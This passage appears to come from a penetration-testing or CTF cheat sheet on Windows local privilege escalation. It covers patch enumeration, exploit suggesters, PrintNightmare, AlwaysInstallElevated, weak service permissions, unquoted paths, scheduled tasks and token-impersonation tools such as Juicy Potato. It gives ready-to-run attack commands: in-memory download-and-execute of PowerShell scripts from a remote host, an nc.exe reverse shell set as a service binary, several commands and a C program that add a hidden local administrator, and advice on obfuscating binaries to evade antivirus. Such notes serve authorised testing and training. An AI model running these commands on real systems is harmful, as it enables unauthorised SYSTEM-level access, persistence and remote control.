reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit /v ProcessCreationIncludeCmdLine_Enabled

# List available Windows event logs type and number of entries
Get-EventLog -List

Get-EventLog -LogName <System | Security | ...> | Select -Property * -ExpandProperty Message

wevtutil qe <System | Security | ...> /f:text /rd:true

# specifying an host allows to specify an user to run the query as
wevtutil qe <System | Security | ...> /r:<127.0.0.1 | HOSTNAME | IP> /u:<WORKGROUP | DOMAIN>\<USERNAME> /p:<* | PASSWORD> /f:text /rd:true

Recently modified files

Recently modified files can be of interest and may contain sensitive information. For example, the lastly modified files in a product installation folder may correspond to the non default modifications and configuration.

The time of modification may also be of interest in a CTF scenarios.

# Lists the files and folders modified the last <DAYS> days.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.LastWriteTime -gt (Get-Date).AddDays(-<DAYS>) } | Format-Table LastWriteTime,FullName

# Lists the files and folders modified between the specifed dates.
Get-ChildItem [-File] -ErrorAction SilentlyContinue -Force -Recurse <PATH> | Where { $_.lastwritetime -gt '<FIRST_MM/DD/YYYY>' -AND $_.lastwritetime -lt '<LAST_MM/DD/YYYY>' } | Format-Table LastWriteTime,FullName

Hidden files

To display only hidden files, the following command can be used:

dir /s /ah /b
dir C:\ /s /ah /b

# PowerShell
ls -r
Get-Childitem -Recurse -Hidden

Files of interest

The following files may contains sensible information:

# PowerShell commands history
%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# WSL directory - For more information refer to Windows Subsystem for Linux (WSL) below
%HOMEPATH%\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu<...>

Alternate data streams (ADS)

The NTFS file system includes support for ADS, allowing files to contain more than one stream of data. Every Windows file has at least one data stream, called by default :$DATA.

ADS do not appear in Windows Explorer, and their size is not included in the size of the file that hosts them. Moreover, only the main stream of a file is retained when copying to a FAT file system, attaching to a mail or uploading to a website. Because of these properties, ADS may be used by users or applications to store sensible information and the eventual ADS present on the system should be reviewed.

DOS and PowerShell built-ins as well as streams.exe from the Sysinternals suite and tools from http://www.flexhex.com/docs/articles/alternate-streams.phtml can be used to operate with ADS.

Note that the PowerShell cmdlets presented below are only available starting from PowerShell 3.

# Search ADS
dir /R <DIRECTORY | FILE_NAME>
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$DATA'
Get-Item <FILE_NAME> -stream *
streams.exe -accepteula -s <DIRECTORY>
streams.exe -accepteula <FILE_NAME>

# Retrieve ADS content
more < <FILE_NAME>:<ADS_NAME>
Get-Content <FILE_NAME> -stream <ADS_NAME>
LS.exe <FILE_NAME>

# Write ADS content
echo "<INPUT>" > <FILE_NAME>:<ADS_NAME>
Set-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"
Add-Content <FILE_NAME> -stream <ADS_NAME> -Value "<INPUT>"

# Remove ADS
Remove-Item –path <FILE_PATH> –stream <ADS_NAME>
streams.exe -accepteula -d <FILE_NAME>

Unpatched system

OS and Kernel version

The following commands or actions can be used to get the updates installed on the host:

DOS	Powershell	WMI
systeminfo Check content of C:\Windows\SoftwareDistribution\Download type C:\Windows\WindowsUpdate.log	Get-HotFix Get-WindowsUpdateLog	wmic qfe get HotFixID,InstalledOn,Description

Windows releases information:

NT Version	Build	Marketing name
3.1	528	Windows NT 3.1
3.5	807	Windows NT 3.5
3.51	1057	Windows NT 3.51
4.0	1381	Windows NT 4.0
5.0	2195	Windows 2000
5.1	2600	Windows XP
5.2	3790	Windows XP x64 Windows Server 2003 Windows Server 2003 R2
6.0	6000 6001	Windows Vista Windows Server 2008
6.1	7600	Windows 7 Windows Server 2008 R2
6.2	9200	Windows 8 Windows Server 2012
6.3	9600	Windows 8.1 Windows Server 2012 R2
10.0	10240 (TH1) / 10586 (TH2) 14393 (RS1) / 15063 (RS2) / 16299 (RS3) / 17134 (RS4) / 17763 (RS5)	Windows 10 Windows Server 2016

Automatically compare the system patch level to public known exploits:

Installed software

The following commands can be used to enumerate the software installed on the local system:

# Lists the software installed on the system.
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*, HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*, REGISTRY::HKEY_USERS\S-1-5-21-*\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Where {$_.DisplayName -notLike "" -or $_.InstallLocation -notlike ""} | Select DisplayName, DisplayVersion, Publisher, InstallDate, InstallLocation  | fl

# Returns a partial list of the software installed on the system.
wmic product get name,version

Exploits detection tools

Windows Exploit Suggester - Next Generation (WES-NG)

-- Replace Windows-Exploit-Suggester --

The WES-NG Python script compares a target patch level, retrieved using systeminfo, and the Microsoft vulnerability database in order to detect potential missing patches on the target.

wes.py --update

# -d: [+] Filters out old vulnerabilities by retrieving the most recent KB publication date and filtering out all KBs released before this date.
# --muc-lookup: Conducts false positives verification using the Microsoft's Update Catalog to determine if installed patches supersedes potentially missing KBs.
wes.py [-d] [--muc-lookup] <SYSTEMINFO_FILE>

Windows-Exploit-Suggester (outdated)

Outdated: Microsoft replaced the Microsoft Security Bulletin Data Excel file, on which Windows-Exploit-Suggester is fully dependent, by the MSRC API. The Microsoft Security Bulletin Data Excel file has not been updated since Q1 2017, so later operating systems and vulnerabilities can no longer be assessed --

The windows-exploit-suggester script compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. It requires the systeminfo command output from a Windows host in order to compare that the Microsoft security bulletin database and determine the patch level of the host. It has the ability to automatically download the security bulletin database from Microsoft with the --update flag, and saves it as an Excel spreadsheet.

# python windows-exploit-suggester.py --update

python /opt/priv_esc/windows/windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO_FILE>

If the systeminfo command reveals 'File 1' as the output for the hotfixes, the output of wmic qfe list full should be used instead using the --hotfixes flag, along with the systeminfo:

python windows-exploit-suggester.py --database <XLS> --systeminfo <SYSTEMINFO> --hotfixes <HOTFIXES>

Watson

Watson (replaces Sherlock) is a .NET tool designed to enumerate missing KBs and suggest exploits. Only works on Windows 10 (1703, 1709, 1803 & 1809) and Windows Server 2016 & 2019.

Watson must be compiled for the .NET version supported on the target.

Sherlock (outdated)

Outdated: Microsoft changed to rolling patches on Windows instead of hotfixes per vulnerability, making the detection mechanism of Sherlock non functional.

PowerShell script to find missing software patches for critical vulnerabilities that could be leveraged for local privilege escalation.

To download and execute directly into memory:

# CMD
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1')"; Find-AllVulns

# PowerShell
IEX (New-Object Net.WebClient).DownloadString('http://<IP>:<Port>/Sherlock.ps1'); Find-AllVulns

(Metasploit) Local Exploit Suggester (outdated)

The local_exploit_suggester module suggests local meterpreter exploits that can be used against the target, based on the architecture and platform as well as the available exploits in meterpreter.

meterpreter> run post/multi/recon/local_exploit_suggester

# OR

msf> use post/multi/recon/local_exploit_suggester
msf post(local_exploit_suggester) > set SESSION <session-id>
msf post(local_exploit_suggester) > run

Pre compiled exploits

A collection of pre compiled Windows kernel exploits can be found on the windows-kernel-exploits GitHub repository. Use at your own risk.

https://github.com/SecWiki/windows-kernel-exploits

Compilers

mingw

An exploit in C can be compiled on Linux to be used on a Windows system using the cross-compiler mingw:

# 32 bits
i686-w64-mingw32-gcc -o exploit.exe exploit.c

# 64 bits
x86_64-w64-mingw32-gcc -o exploit.exe exploit.c

PyInstaller

If an exploit is only available as a Python script and Python is not installed on the target, PyInstaller can be used to compile a stand alone executable of the Python script:

pyinstaller --onefile <SCRIPT>.py

PyInstaller should be used on a Windows operating system.

PrintNightmare (CVE-2021-1675)

On unpatched systems with the Print Spooler service running, the PrintNightmare vulnerability (CVE-2021-1675) can be leveraged, in addition to remote code execution, for local privilege escalation. The PrintNightmare vulnerability basically result in the execution of an arbitrary DLL under NT AUTHORITY\SYSTEM privileges. For more details on the PrintNightmare vulnerability, refer to the [L7] 135 - MSRPC note.

The status of the Print Spooler service on the local system can be retrieved using the following PowerShell cmdlets:

# Returns "Cannot find path '\\127.0.0.1\pipe\spoolss' because it does not exist" if the Print Spooler service is not running.
gci \\127.0.0.1\pipe\spoolss

# Retrieves the status of the Print Spooler service on the local system.
Get-Service Spooler

The nightmare-dll DLL creates a local user (using the Win32's NetUserAdd API) and add it to the local Administrators group (using the Win32's NetLocalGroupAddMembers API). It may be used as a DLL template for PrintNightmare exploitation. Alternatively, a payload DLL may be generated using, for example, msfvenom.

The CVE-2021-1675.ps1 PowerShell script can be used to locally elevate privileges by either:

• using its embedded (Base64-encoded GZIPped) DLL to create a local user and add it to the local Administrators group

• executing the specified DLL under NT AUTHORITY\SYSTEM privileges

Import-Module .\CVE-2021-1675.ps1

# Adds the specified user to the Administrators group using the script embedded DLL.
Invoke-Nightmare -DriverName "<Xerox | DRIVER_NAME>" -NewUser "<USERNAME>" -NewPassword "<PASSWORD>"

# Executes the given DLL under `NT AUTHORITY\SYSTEM` privileges.
Invoke-Nightmare -DLL "<FULL_PATH_DLL>"

Alternatively, the SharpPrintNightmare C# implementation can be used for local privilege escalation purposes (in addition to remote code execution):

SharpPrintNightmare.exe "<FULL_PATH_DLL>"

CVE-2021-1675.ps1 and SharpPrintNightmare (in LPE mode) present the advantage of not relying on the RPC or SMB protocols as the AddPrinterDriverEx and EnumPrinterDrivers APIs are called directly.

AlwaysInstallElevated policy

Windows provides a mechanism which allows unprivileged users to install Windows installation packages, Microsoft Windows Installer Package (MSI) files, with NT AUTHORITY\SYSTEM privileges. This policy is known as AlwaysInstallElevated.

If activated, this mechanism can be leveraged to elevate privileges on the system by executing code through the MSI during the installation process as NT AUTHORITY\SYSTEM.

The Windows built-in req utility and the PowerUp PowerShell script can be used to check whether the AlwaysInstallElevated policy is enabled on the host by querying the associated registry key:

# If "REG_DWORD 0x1" is returned the policy is activated.
# If not, the error message "ERROR: The system was unable to find the specified registry key or value." indicates that the policy is not set.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# (PowerShell) PowerSploit's PowerUp Get-RegistryAlwaysInstallElevated.
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-RegistryAlwaysInstallElevated

The policy can be abused to elevate privileges:

• By executing a given binary or bat script through a specifically crafted MSI installer using the MSI Wrapper graphical application or msfvenom.
• By adding a local user to the local Administrators group using the MSI installer embedded in the PowerUp's Write-UserAddMSI PowerShell cmdlet. The cmdlet will open a graphical interface to specify the user to be added.

• Through a meterpreter session using the Metasploit's exploit/windows/local/always_install_elevated module. The module will prevent the installation from succeeding to avoid the registration of the program on the system.

Refer to the [General] File transfer note for file transfer techniques to upload the MSI on the targeted system.

# msfvenom can be used to generate a MSI starting a Metasploit payload or using a provided binary.
msfvenom -p <PAYLOAD> -f msi-nouac > <MSI_FILE>
msfvenom -p windows/exec cmd="<BINARY_PATH>" -f msi-nouac > <MSI_FILE>

# MSI Wrapper procedure to generate an MSI that will execute the given binary under elevated privileges:
Executable (2nd page onward)      -> specify the executable to be executed
                                  -> Compression of wrapped file: None
Visibility in Apps & features     -> Visibility of MSI package: Hidden
Security and User context         -> Security context for lauching the executable: Windows Installer
                                  -> Elevation when launching the executable: Always elevate
                                  -> MSI installation context: Per User
                                  -> Check MSI package requires elevation
Application Ids                   -> Upgrade code: Create New.
-> Next -> [...] -> Build.

# Installs the specifed MSI file.
# /quiet: no messages displayed, /qn: no GUI, /i runs as current user.
msiexec /quiet /qn /i <MSI_PATH>

# (PowerShell) PowerSploit's PowerUp Write-UserAddMSI
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
Write-UserAddMSI

# Requires a meterpreter session.
msf> use exploit/windows/local/always_install_elevated

Services misconfigurations

In Windows NT operating systems, a Windows service is a computer program that operates in the background, similarly in concept to a Unix daemon.

A Windows service must conform to the interface rules and protocols of the Service Control Manager, the component responsible for managing Windows services. Windows services can be configured to start with the operating system, manually or when an event occur.

Vulnerabilities in a service configuration could be exploited to execute code under the privileges of the user starting the service, often NT AUTHORITY\SYSTEM.

Windows services enumeration

The Windows built-ins sc and wmic can be used to enumerate the services configured on the target system. The Windows built-in graphical utility services.msc can alternatively be used as well.

# List services
Get-WmiObject -Class win32_service | Select-Object Name, DisplayName, PathName, StartName, StartMode, State, TotalSessions, Description
wmic service list config
sc query

# Service config
sc qc <SERVICE_NAME>

# Service status / extended status
sc query <SERVICE_NAME>
sc queryex <SERVICE_NAME>

Weak services permissions

A weak service permissions vulnerability occurs when an unprivileged user can alter the service configuration so that the service runs an arbitrary specified command or executable.

The rights on the service are defined in each service's security descriptor, formatted according to the Security Descriptor Definition Language (SDDL) definition. The SDDL defines the System Access Control List and (SACL) and the Discretionary Access Control List (DACL):

• Prefix of S: SACL which controls the auditing (what access will generate an auditing event).

• Prefix of D: DACL which controls the actual permissions / rights over the services (and will govern the access to the service).

The SDDL uses Access Control Entry (ACE) strings in the DACL and SACL components of a security descriptor string. Each ACE in a security descriptor string is enclosed in parentheses in which an user account and their associated permissions / rights are represented.

The fields of the ACE are in the following order and are separated by semicolons (;).

ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)

In case of services, the fields ace_type, rights and account_sid are usually the only ones being set.

The ace_type field is usually either set to Allow (A) or Deny (D). The rights field is a string that indicates the access rights controlled by the ACE, usually composed of pair of letters each representing a specific permission. Finally, the account_sid represent the security principal assigned with the permissions and can either be a two letters known alias or a SID.

The following known aliases can be encountered:

Alias	Name
AN	Anonymous logon
AO	Account operators
AU	Authenticated users
BA	Built-in administrators
BG	Built-in guests
BO	Backup operators
BU	Built-in users
CA	Certificate server administrators
CG	Creator group
CO	Creator owner
DA	Domain administrators
DC	Domain computers
DD	Domain controllers
DG	Domain guests
DU	Domain users
EA	Enterprise administrators
ED	Enterprise domain controllers
IU	Interactively logged-on user
LA	Local administrator
LG	Local guest
LS	Local service account
NO	Network configuration operators
NS	Network service account
NU	Network logon user
PA	Group Policy administrators
PO	Printer operators
PS	Personal self
PU	Power users
RC	Restricted code
RD	Terminal server users
RE	Replicator
RS	RAS servers group
RU	Alias to allow previous Windows 2000
SA	Schema administrators
SO	Server operators
SU	Service logon user
SY	Local system
WD	Everyone

The following permissions are worth mentioning in the prospect of local privilege escalation:

Ace's rights	Access right	Description
-	SERVICE_ALL_ACCESS	Include all service permissions, notably SERVICE_CHANGE_CONFIG.
CC	SERVICE_QUERY_CONFIG	Retrieve the service's current configuration from the SCM.
DC	SERVICE_CHANGE_CONFIG	Change the service configuration, notably grant the right to change the executable file associated with the service.
GA	GENERIC_ALL	Equivalent to all the generic access rights (read, write and execute access to the service).
GX	GENERIC_WRITE	Equivalent to SERVICE_QUERY_STATUS and SERVICE_CHANGE_CONFIG.
LC	SERVICE_QUERY_STATUS	Retrieve the service's current status from the SCM.
LO	SERVICE_INTERROGATE	Retrieve the service's current status directly from the service itself.
RC	READ_CONTROL	Read the security descriptor of the service.
RP	SERVICE_START	Start the service.
SW	SERVICE_ENUMERATE_DEPENDENTS	List the services that depend on the service.
WD	WRITE_DAC	Modify the DACL of the service in its security descriptor.
WO	WRITE_OWNER	Change the owner of the service in its security descriptor.
WP	SERVICE_STOP	Stop the service.

A more comprehensive list of the access rights for Windows services can be found in the official Microsoft documentation.

The accesschk tool, from the Sysinternals suite, and the Powershell PowerUp script can be used to list the services an user can exploit:

# List services that configure permissions for the "Everyone" / "Tout le monde" user groups
accesschk.exe -accepteula -uwcqv "Everyone" *
accesschk64.exe -accepteula -uwcqv "Everyone" *
accesschk.exe -accepteula -uwcqv "Tout le monde" *
accesschk64.exe -accepteula -uwcqv "Tout le monde" *

# List services that configure permissions for the specified user
accesschk.exe -accepteula -uwcqv <USERNAME> *
accesschk64.exe -accepteula -uwcqv <USERNAME> *

# Enumerate all services and their permissions configuration
accesschk.exe -accepteula -uwcqv *
accesschk64.exe -accepteula -uwcqv *

# Retrieve permissions configuration for the specified service
accesschk64.exe -accepteula -uwcqv <SERVICE_NAME>

# (PowerShell) PowerSploit's PowerUp Get-ModifiableServiceFile & Get-ModifiableService
# Get-ModifiableServiceFile - returns services for which the current user can directly modify the binary file
# Get-ModifiableService - returns services the current user can reconfigure
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1")
PS> Get-ModifiableServiceFile
PS> Get-ModifiableService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ModifiableServiceFile
meterpreter> powershell_execute Get-ModifiableService

If the use of the tools above is not a possibility, the Windows built-in sc can be used to directly retrieve a service's security descriptor's DACL (but not the owner of the service nor the it's SACL):

sc sdshow <SERVICE_NAME>

# Lists the DACL's ACE of the specified service, excluding rights granted to privileged principals.
$sddl = sc.exe sdshow <SERVICE_NAME> | where { $_ }
$sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'

# Enumerates the DACL's ACE of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'D:', 'BA', 'LA', 'SY', 'PU'; Write-Host "`n`n" }

# Enumerates the rights granting modification privileges of all services, excluding rights granted to privileged principals.
Get-Service | % { Write-Host $_.Name; $sddl = sc.exe sdshow $_.Name ; $sddl.split('(') | Select-String -NotMatch 'BA', 'LA', 'SY', 'PU' | Select-String ';-;', 'DC', 'GA', 'GX', 'WD', 'WO' | Select-String -NotMatch 'WD\)'; Write-Host "`n`n" }

The sc utility can, among others, also be used to alter a service configuration:

# A space is required after binPath=
sc config <SERVICE_NAME> binPath= "net user <USERNAME> <PASSWORD> /add"
sc config <SERVICE_NAME> binPath= "net localgroup administrators <USERNAME> /add"
sc config <SERVICE_NAME> binPath= "<NEW_BIN_PATH>"

# If needed, start the service under Local Service account
sc config <SERVICE_NAME> obj= ".\LocalSystem" password= ""
sc config <SERVICE_NAME> obj= "\Local Service" password= ""
sc config <SERVICE_NAME> obj="NT AUTHORITY\LocalService" password= ""

The Metasploit module exploit/windows/local/service_permissions can be used through an existing meterpreter session to automatically detect and exploit weak services permissions to execute a specified payload under NT AUTHORITY\SYSTEM privileges.

Unsecure NTFS permissions on service binaries

Permissive NTFS permissions on the service binary used by the service can be leveraged to elevate privileges on the system as the user running the service.

If available, the Windows utility wmic can be used to retrieve all services binary paths:

wmic service list full | findstr /i "PathName" | findstr /i /v "System32"

Get-WmiObject -Class win32_service -Property PathName | Ft PathName
Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32"} | Ft PathName

The Windows bullet-in icacls can be used to determine the NTFS permissions on the services binary:

icacls <BINARY_PATH>

Get-ACL <BINARY_PATH | FOLDER_PATH> | Format-List

Unquoted service binary paths

When a service path is unquoted, the Service Manager will try to find the service binary in the shortest path, moving up to the longest path until one works. For example, for the path C:\TEST\Service Folder\binary.exe, the space is treated as an optional path to explore for that service. The resolution process will first look into C:\TEST\ for the Service.exe binary and, if it exist, use it to start the service.

Here is Windows’ chain of thought for the above example:

1. Are they asking me to run "C:\TEST\Service.exe" Folder\binary.exe No, it does not exist.

2. Are they asking me to run "C:\TEST\Service Folder\Service_binary.exe" Yes, it does exist.

In summary, a service is vulnerable if the path to the executable contains spaces and is not wrapped in quote marks. Exploitation requires write permissions to the path before the quote mark. Note that unquoted path for services in C:\Program Files and C:\Program Files (x86) are usually not exploitable as unprivileged user rarely have write access in the C:\ root directory or in the standard program directories.

In the above example, if an attacker has write privilege in C:\TEST, he could create a C:\Service.exe and escalate its privileges to the level of the account that starts the service.

To find vulnerable services the wmic tool and the Powershell PowerUp script can be used as well as a manual review of each service metadata using sc queries:

# wmic
wmic service get PathName, StartMode | findstr /i /v "C:\\Windows\\" | findstr /i /v """
wmic service get PathName, StartMode | findstr /i /v """
wmic service get name.pathname,startmode | findstr /i /v """ | findstr /i /v "C:\\Windows\\"
wmic service get name.pathname,startmode | findstr /i /v """

Get-WmiObject -Class win32_service -Property PathName | Where-Object { $_.PathName -NotMatch "system32" -And $_.PathName -NotMatch '"' } | Ft PathName

# (PowerShell) PowerSploit's PowerUp Get-ServiceUnquoted
PS> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Pow
erSploit/master/Privesc/PowerUp.ps1")
PS> Get-UnquotedService

meterpreter> load powershell
meterpreter> powershell_import <POWERUP_PS1_FILE_PATH>
meterpreter> powershell_execute Get-ServiceUnquoted

The Metasploit module exploit/windows/local/trusted_service_path can be used through an existing meterpreter session to automatically detect and exploit unquoted service path to execute a specified payload under NT AUTHORITY\SYSTEM privileges.

Windows XP SP0 & SP1

On Windows XP SP0 and SP1, the Windows service upnphost is run by NT AUTHORITY\LocalService and grants the permission SERVICE_ALL_ACCESS to all Authenticated Users, meaning all authenticated users on the system can fully modify the service configuration. Du to the End-of-Life status of the Service Pack affected, the vulnerability will not be fixed and can be used as an universal privileges escalation method on Windows XP SP0 & SP1.

# accesschk.exe -uwcqv "Authenticated Users" *
# RW upnphost SERVICE_ALL_ACCESS
# sc qc upnphost
# SERVICE_START_NAME : NT AUTHORITY\LocalService

sc config upnphost binpath= "C:\<NC.EXE> -e C:\WINDOWS\System32\cmd.exe <IP> <PORT>"
sc config upnphost binpath= "net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add"
sc config upnphost obj= ".\LocalSystem" password= ""
sc config upnphost depend= ""

net stop upnphost
net start upnphost

Generate new service binary

Add a local administrator user

The following C code can be used to add a local administrator user:

#include <stdlib.h>

int main() {
  int i;
  i = system("net user <USERNAME> <PASSWORD> /add");
  i = system("net localgroup administrators <USERNAME> /add");
  return 0;
}

The C code above can be compiled on Linux using the cross-compiler mingw (refer to cross compilation above).

Reverse shell

The service can be leveraged to start a privileged reverse shell. Refer to the [General] Shells - Binary note.

Service restart

To restart the service:

# Stop
net stop <SERVICE_NAME>
Stop-Service -Name <SERVICE_NAME> -Force

# Start
net start <SERVICE_NAME>
Start-Service -Name <SERVICE_NAME>

# Or through a graphical interface:
services.msc

If an error System error 1068 ("The dependency service or group failed to start."), the dependencies can be removed to fix the service:

sc config <SERVICE_NAME> depend= ""

Scheduled tasks & statup commands

Scheduled tasks are used to automatically perform a routine task on the system whenever the criteria associated to the scheduled task occurs. The scheduled tasks can either be run at a defined time, on repeat at set intervals, or when a specific event occurs, such as the system boot.

The scheduled tasks are exposed to the same kinds of misconfigurations flaws affecting the Windows services. However, note that the Windows GUI utility Task Scheduler, used to configure scheduled task, will always make use of quoted binary path, thus limiting the occurrence of unquoted scheduled task path.

The Windows built-in schtasks can be used to enumerate the scheduled tasks configured on the system or to retrieve information about a specific scheduled task.

# List all configured scheduled tasks - verbose
schtasks /query /fo LIST /v
Get-ScheduledTask

# Query the specified scheduled task
schtasks /v /query /fo LIST  /tn <TASK_NAME>
Get-ScheduledTask -TaskName <TASK_NAME>

# Start up commands
Get-WMIObject Win32_StartupCommand -NameSpace "root\CIMV2"

The commands below can be chained to filter the enabled scheduled tasks name and action for NT AUTHORITY\SYSTEM, Administrator or the specified user:

# Windows
schtasks /query /fo LIST /v > <TASKS_LIST_FILE>

# Linux
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 "NT AUTHORITY\\\SYSTEM\|Administrator"
grep "TaskName\|Task To Run\|Run As User\|Scheduled Task State" <TASKS_LIST_FILE> | grep -B2 -A 1 "Enabled" | grep -B 3 <USERNAME>

The Windows bullet-in icacls can be used to determine the NTFS permissions on the scheduled tasks binary:

icacls <BINARY_PATH>

If the current user can modify the binary / script of a scheduled task run by another user, arbitrary command execution under the other user privileges can be achieved once the criteria associated to the scheduled task occurs.

Refer to the [General] Shells - Binary note for reverse shell binaries / scripts.

Token Privileges abuse

Vulnerable privileges

Use the following command to retrieve the current user account token privileges:

whoami /priv

whoami /priv | findstr /i /C:"SeImpersonatePrivilege" /C:"SeAssignPrimaryPrivilege" /C:"SeTcbPrivilege" /C:"SeBackupPrivilege" /C:"SeRestorePrivilege" /C:"SeCreateTokenPrivilege" /C:"SeLoadDriverPrivilege" /C:"SeTakeOwnershipPrivilege" /C:"SeDebugPrivilege"

The following tokens can be exploited to gain SYSTEM access privileges:

• SeAssignPrimaryPrivilege

• SeBackupPrivilege

• SeCreateTokenPrivilege

• SeDebugPrivilege

• SeImpersonatePrivilege

• SeLoadDriverPrivilege

• SeManageVolumePrivilege

• SeRestorePrivilege

• SeTakeOwnershipPrivilege

• SeTcbPrivilege

For more and updated information on the aforementioned privileges, refer to the Priv2Admin GitHub repository.

SeAssignPrimaryPrivilege / SeImpersonatePrivilege

Overview

The SeAssignPrimaryTokenPrivilege and the SeImpersonatePrivilege privileges allow, by design, to create a process under the security context of another user. The SeAssignPrimaryTokenPrivilege privilege can be exploited using the CreateProcessAsUser() Win32 API while the SeImpersonatePrivilege privilege can leveraged using the CreateProcessWithToken() Win32 API.

Exploits of the potato family (except RoguePotato) no longer work on Windows 10 build 1809 / Windows 2019 and later.

The process creation requires however a handle to a primary token of the user to impersonate. Multiple tools and techniques may be used to obtain a handle to a token of the NT AUTHORITY\SYSTEM account:

Tool(s)	Description	Technique limitation
Potato family (Potato, RottenPotatoNG, Juicy Potato)	Induces the SYSTEM account to connect to a controlled RPC endpoint using the CoGetInstanceFromIStorage COM API function. In Potato and RottenPotatoNG, the call was used to instantiate a COM Storage Object of the BITS local service. In Juicy Potato, an instance of the service specified in parameter, using its Class Identifier (CLSID), is requested. Then the packets received by the controlled RPC endpoint are relayed to the MSRPC endpoint (on port TCP 135) until an NTLM authentication attempt of the SYSTEM account is received. The NTLM authentication attempt is replayed using Windows API calls (AcquireCredentialsHandle and AcceptSecurityContext) to ultimately obtain a token for the SYSTEM account.	Restriction applied starting from the Windows 10 1809 and Windows Server 2019 operating system mitigate this attack. Indeed the port contacted by the COM API function is now fixed to the MSRPC endpoint and can not longer be specified, resulting in an impossibility to intercept the NTLM authentication attempt.
RogueWinRM	Exploit the fact that upon starting the BITS service attempt an NTLM authentication to the WinRM service (on port 5985). Similarly to the exploitation process of tools from the Potato family, the NTLM authentication attempt is relayed through Windows API calls to obtain a token for the SYSTEM account.	Requires that the WinRM service is not running (default configuration on Windows workstation operating systems, including Windows 10, but not on Windows server operating systems).
PrintSpoofer	Induces the SYSTEM account to connect to a controlled named pipe using the RpcRemoteFindFirstPrinterChangeNotification(Ex) function of the Print System Remote Protocol exposed on the MS-RPRN MSRPC interface (also known as "Printer Bug"). Once the SYSTEM account is connected to the controlled named pipe, it can be impersonated using the ImpersonateNamedPipeClient Win32 API function.	Requires the Print Spooler service to be running (or startable by the current user) on the host.

Local service accounts privileges reduction

The NT AUTHORITY\LOCAL SERVICE and NT AUTHORITY\NETWORK SERVICE are predefined local accounts notably used by the Service Control Manager. By default, the accounts are granted the SeImpersonatePrivilege privilege.

However, some Windows services executed as NT AUTHORITY\LOCAL SERVICE or NT AUTHORITY\NETWORK SERVICE will voluntarily limit their privileges and remove the SeImpersonatePrivilege from their access token. In such cases, the default privileges normally granted to the service accounts can be retrieved by creating a scheduled task; as the scheduled task process will have all the default privileges restored.

FullPowers can be used to automate this process:

# Spawns a new interactive cmd.exe interpreter in place.
FullPowersFullPowers -x

# Execute the specified command.
# -z: Non-interactive process.
FullPowersFullPowers -x [-z] -c <COMMAND>

Juicy Potato

Juicy Potato is an improved version of RottenPotatoNG and its usage is recommended.

As stated above, the specification of service CLSID is required by Juicy Potato. A list of services' CLSID that can be leveraged for privilege escalation is available on the tool GitHub repository: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <BINARY>: program to launch
-l <PORT>: COM server listen port

# If no CLSID is provided, JuicyPotato will attempt by default to leverage the BITS service DCOM server (CLID {4991d34b-80a1-4291-83b6-3328366b9097}).
JuicyPotato.exe -t * [-c <CLSID>] -l <PORT> -p <cmd.exe | powershell.exe | BINARY> [-a "<COMMAND_LINE_ARGUMENTS>"]

Rotten Potato x64 w/ Metasploit

On unpatched systems, RottenPotato can be used in combination with the Metasploit meterpreter's incognito module.

# Load the incognito module to toy with tokens
meterpreter > load incognito

# Upload the MSFRottenPotato binary on the target
# Some obfuscation may be needed in order to bypass AV
meterpreter > upload MSFRottenPotato.exe .

# The command may need to be run a few times
meterpreter > execute -f 'MSFRottenPotato.exe' -a '1 cmd.exe'

# The NT AUTHORITY\SYSTEM token should be available as a delegation token
# Even if the token is not displayed it might be available and the impersonation should be tried anyway
meterpreter > list_tokens -u
meterpreter > impersonate_token 'NT AUTHORITY\SYSTEM'

Tater

Tater is a PowerShell implementation of the Potato exploit and thus works similarly by targeting the BITS service.

# Import module (Import-Module or dot source method)
Import-Module ./Tater.ps1
. ./Tater.ps1

# Trigger (Default = 1): Trigger type to use in order to trigger HTTP to SMB relay.
0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task

Invoke-Tater -Command "net user <USERNAME> <PASSWORD> /add && net localgroup administrators <USERNAME> /add"

# Memory injection and run
